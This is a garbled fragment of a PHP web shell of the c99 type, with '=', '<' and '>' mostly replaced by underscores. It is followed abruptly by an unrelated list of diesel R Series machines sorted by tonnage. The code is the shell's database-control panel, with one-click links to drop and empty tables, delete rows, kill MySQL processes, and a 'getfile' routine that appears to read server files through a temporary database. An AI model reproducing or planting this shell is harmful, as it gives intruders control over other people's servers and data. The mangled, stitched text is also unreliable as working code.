echo "_td__input type_\"checkbox\" name_\"boxrow_all\" value_\"1\"__/td_";
for ($i_0;
$i_mysql_num_fields($result);
$i++) { $v _ mysql_field_name($result,$i);
if ($e[0] __ "a") {$s _ "d";
$m _ "asc";
} else {$s _ "a";
$m _ "desc";
} echo "_td_";
if (empty($e[0])) {$e[0] _ "a";
} if ($e[1] !_ $v) {echo "_a href_\"".$sql_surl."sql_tbl_".$sql_tbl."&sql_tbl_le_".$sql_tbl_le."&sql_tbl_ls_".$sql_tbl_ls."&sql_order_".$e[0]."%20".$v."\"__b_".$v."_/b__/a_";
} else {echo "_b_".$v."_/b__a href_\"".$sql_surl."sql_tbl_".$sql_tbl."&sql_tbl_le_".$sql_tbl_le."&sql_tbl_ls_".$sql_tbl_ls."&sql_order_".$s."%20".$v."\"__img src_\"".$surl."act_img&img_sort_".$m."\" height_\"9\" width_\"14\" alt_\"".$m."\"__/a_";
} echo "_/td_";
} echo "_td__font color_\"green\"__b_Action_/b__/font__/td_";
echo "_/tr_";
while ($row _ mysql_fetch_array($result, MYSQL_ASSOC)) { echo "_tr_";
$w _ "";
$i _ 0;
foreach ($row as $k__$v) {$name _ mysql_field_name($result,$i);
$w ._ " `".$name."` _ \_".addslashes($v)."\_ AND";
$i++;
} if (count($row) _ 0) {$w _ substr($w,0,strlen($w)-3);
} echo "_td__input type_\"checkbox\" name_\"boxrow[]\" value_\"".$w."\"__/td_";
$i _ 0;
foreach ($row as $k__$v) { $v _ htmlspecialchars($v);
if ($v __ "") {$v _ "_font color_\"green\"_NULL_/font_";
} echo "_td_".$v."_/td_";
$i++;
} echo "_td_";
echo "_a href_\"".$sql_surl."sql_act_query&sql_tbl_".urlencode($sql_tbl)."&sql_tbl_ls_".$sql_tbl_ls."&sql_tbl_le_".$sql_tbl_le."&sql_query_".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;
")."\"__img src_\"".$surl."act_img&img_sql_button_drop\" alt_\"Delete\" height_\"13\" width_\"11\" border_\"0\"__/a_ 
";
echo "_a href_\"".$sql_surl."sql_tbl_act_insert&sql_tbl_".urlencode($sql_tbl)."&sql_tbl_ls_".$sql_tbl_ls."&sql_tbl_le_".$sql_tbl_le."&sql_tbl_insert_q_".urlencode($w)."\"__img src_\"".$surl."act_img&img_change\" alt_\"Edit\" height_\"14\" width_\"14\" border_\"0\"__/a_ 
";
echo "_/td_";
echo "_/tr_";
} mysql_free_result($result);
echo "_/table__hr size_\"1\" noshade__p align_\"left\"__img src_\"".$surl."act_img&img_arrow_ltr\" border_\"0\"__select name_\"sql_act\"_";
echo "_option value_\"\"_With selected:_/option_";
echo "_option value_\"deleterow\"_Delete_/option_";
echo "_/select_ 
_input type_\"submit\" value_\"Confirm\"__/form__/p_";
} } else { $result _ mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();
} else { echo "_br__form method_\"POST\"__TABLE cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_\"100%\" bgColor_#333333 borderColorLight_#c0c0c0 border_1__tr__td__input type_\"checkbox\" name_\"boxtbl_all\" value_\"1\"__/td__td__center__b_Table_/b__/center__/td__td__b_Rows_/b__/td__td__b_Type_/b__/td__td__b_Created_/b__/td__td__b_Modified_/b__/td__td__b_Size_/b__/td__td__b_Action_/b__/td__/tr_";
$i _ 0;
$tsize _ $trows _ 0;
while ($row _ mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize +_ $row["Data_length"];
$trows +_ $row["Rows"];
$size _ view_size($row["Data_length"]);
echo "_tr_";
echo "_td__input type_\"checkbox\" name_\"boxtbl[]\" value_\"".$row["Name"]."\"__/td_";
echo "_td_ 
_a href_\"".$sql_surl."sql_tbl_".urlencode($row["Name"])."\"__b_".$row["Name"]."_/b__/a_ 
_/td_";
echo "_td_".$row["Rows"]."_/td_";
echo "_td_".$row["Type"]."_/td_";
echo "_td_".$row["Create_time"]."_/td_";
echo "_td_".$row["Update_time"]."_/td_";
echo "_td_".$size."_/td_";
echo "_td_ 
_a href_\"".$sql_surl."sql_act_query&sql_query_".urlencode("DELETE FROM `".$row["Name"]."`")."\"__img src_\"".$surl."act_img&img_sql_button_empty\" alt_\"Empty\" height_\"13\" width_\"11\" border_\"0\"__/a_ 
 
_a href_\"".$sql_surl."sql_act_query&sql_query_".urlencode("DROP TABLE `".$row["Name"]."`")."\"__img src_\"".$surl."act_img&img_sql_button_drop\" alt_\"Drop\" height_\"13\" width_\"11\" border_\"0\"__/a_ 
_a href_\"".$sql_surl."sql_tbl_act_insert&sql_tbl_".$row["Name"]."\"__img src_\"".$surl."act_img&img_sql_button_insert\" alt_\"Insert\" height_\"13\" width_\"11\" border_\"0\"__/a_ 
_/td_";
echo "_/tr_";
$i++;
} echo "_tr bgcolor_\"000000\"_";
echo "_td__center__b_»_/b__/center__/td_";
echo "_td__center__b_".$i." table(s)_/b__/center__/td_";
echo "_td__b_".$trows."_/b__/td_";
echo "_td_".$row[1]."_/td_";
echo "_td_".$row[10]."_/td_";
echo "_td_".$row[11]."_/td_";
echo "_td__b_".view_size($tsize)."_/b__/td_";
echo "_td__/td_";
echo "_/tr_";
echo "_/table__hr size_\"1\" noshade__p align_\"right\"__img src_\"".$surl."act_img&img_arrow_ltr\" border_\"0\"__select name_\"sql_act\"_";
echo "_option value_\"\"_With selected:_/option_";
echo "_option value_\"tbldrop\"_Drop_/option_";
echo "_option value_\"tblempty\"_Empty_/option_";
echo "_option value_\"tbldump\"_Dump_/option_";
echo "_option value_\"tblcheck\"_Check table_/option_";
echo "_option value_\"tbloptimize\"_Optimize table_/option_";
echo "_option value_\"tblrepair\"_Repair table_/option_";
echo "_option value_\"tblanalyze\"_Analyze table_/option_";
echo "_/select_ 
_input type_\"submit\" value_\"Confirm\"__/form__/p_";
mysql_free_result($result);
} } } } } else { $acts _ array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$acts)) {
?__table border_"0" width_"100%" height_"1"__tr__td width_"30%" height_"1"__b_Create new DB:_/b__form action_"
_?php echo $surl;

?_"__input type_"hidden" name_"act" value_"sql"__input type_"hidden" name_"sql_act" value_"newdb"__input type_"hidden" name_"sql_login" value_"
_?php echo htmlspecialchars($sql_login);

?_"__input type_"hidden" name_"sql_passwd" value_"
_?php echo htmlspecialchars($sql_passwd);

?_"__input type_"hidden" name_"sql_server" value_"
_?php echo htmlspecialchars($sql_server);

?_"__input type_"hidden" name_"sql_port" value_"
_?php echo htmlspecialchars($sql_port);

?_"__input type_"text" name_"sql_newdb" size_"20"_ 
_input type_"submit" value_"Create"__/form__/td__td width_"30%" height_"1"__b_View File:_/b__form action_"
_?php echo $surl;

?_"__input type_"hidden" name_"act" value_"sql"__input type_"hidden" name_"sql_act" value_"getfile"__input type_"hidden" name_"sql_login" value_"
_?php echo htmlspecialchars($sql_login);

?_"__input type_"hidden" name_"sql_passwd" value_"
_?php echo htmlspecialchars($sql_passwd);

?_"__input type_"hidden" name_"sql_server" value_"
_?php echo htmlspecialchars($sql_server);

?_"__input type_"hidden" name_"sql_port" value_"
_?php echo htmlspecialchars($sql_port);

?_"__input type_"text" name_"sql_getfile" size_"30" value_"
_?php echo htmlspecialchars($sql_getfile);

?_"_ 
_input type_"submit" value_"Get"__/form__/td__td width_"30%" height_"1"__/td__/tr__tr__td width_"30%" height_"1"__/td__td width_"30%" height_"1"__/td__td width_"30%" height_"1"__/td__/tr__/table_
_?php } if (!empty($sql_act)) { echo "_hr size_\"1\" noshade_";
if ($sql_act __ "newdb") { echo "_b_";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!_/b__br_";
} else {echo "Can\_t create DB \"".htmlspecialchars($sql_newdb)."\"._br_Reason:_/b_ ".mysql_smarterror();
} } if ($sql_act __ "serverstatus") { $result _ mysql_query("SHOW STATUS", $sql_sock);
echo "_center__b_Server-status variables:_/b__br__br_";
echo "_TABLE cellSpacing_0 cellPadding_0 bgColor_#333333 borderColorLight_#333333 border_1__td__b_Name_/b__/td__td__b_Value_/b__/td__/tr_";
while ($row _ mysql_fetch_array($result, MYSQL_NUM)) {echo "_tr__td_".$row[0]."_/td__td_".$row[1]."_/td__/tr_";
} echo "_/table__/center_";
mysql_free_result($result);
} if ($sql_act __ "servervars") { $result _ mysql_query("SHOW VARIABLES", $sql_sock);
echo "_center__b_Server variables:_/b__br__br_";
echo "_TABLE cellSpacing_0 cellPadding_0 bgColor_#333333 borderColorLight_#333333 border_1__td__b_Name_/b__/td__td__b_Value_/b__/td__/tr_";
while ($row _ mysql_fetch_array($result, MYSQL_NUM)) {echo "_tr__td_".$row[0]."_/td__td_".$row[1]."_/td__/tr_";
} echo "_/table_";
mysql_free_result($result);
} if ($sql_act __ "processes") { if (!empty($kill)) {$query _ "KILL ".$kill.";
";
$result _ mysql_query($query, $sql_sock);
echo "_b_Killing process #".$kill."... ok. he is dead, amen._/b_";
} $result _ mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "_center__b_Processes:_/b__br__br_";
echo "_TABLE cellSpacing_0 cellPadding_2 bgColor_#333333 borderColorLight_#333333 border_1__td__b_ID_/b__/td__td__b_USER_/b__/td__td__b_HOST_/b__/td__td__b_DB_/b__/td__td__b_COMMAND_/b__/td__td__b_TIME_/b__/td__td__b_STATE_/b__/td__td__b_INFO_/b__/td__td__b_Action_/b__/td__/tr_";
while ($row _ mysql_fetch_array($result, MYSQL_NUM)) { echo "_tr__td_".$row[0]."_/td__td_".$row[1]."_/td__td_".$row[2]."_/td__td_".$row[3]."_/td__td_".$row[4]."_/td__td_".$row[5]."_/td__td_".$row[6]."_/td__td_".$row[7]."_/td__td__a href_\"".$sql_surl."sql_act_processes&kill_".$row[0]."\"__u_Kill_/u__/a__/td__/tr_";
} echo "_/table_";
mysql_free_result($result);
} if ($sql_act __ "getfile") { $tmpdb _ $sql_login."_tmpdb";
$select _ mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb);
$select _ mysql_select_db($tmpdb);
$created _ !!$select;
}

R Series

5.0 T a 7 T

Diesel

R Series

8.0 T a 10 T

Diesel

R Series

12 T a 16 T

Diesel

R Series

14 T a 16 T

Diesel

R Series

20 T a 25 T

Diesel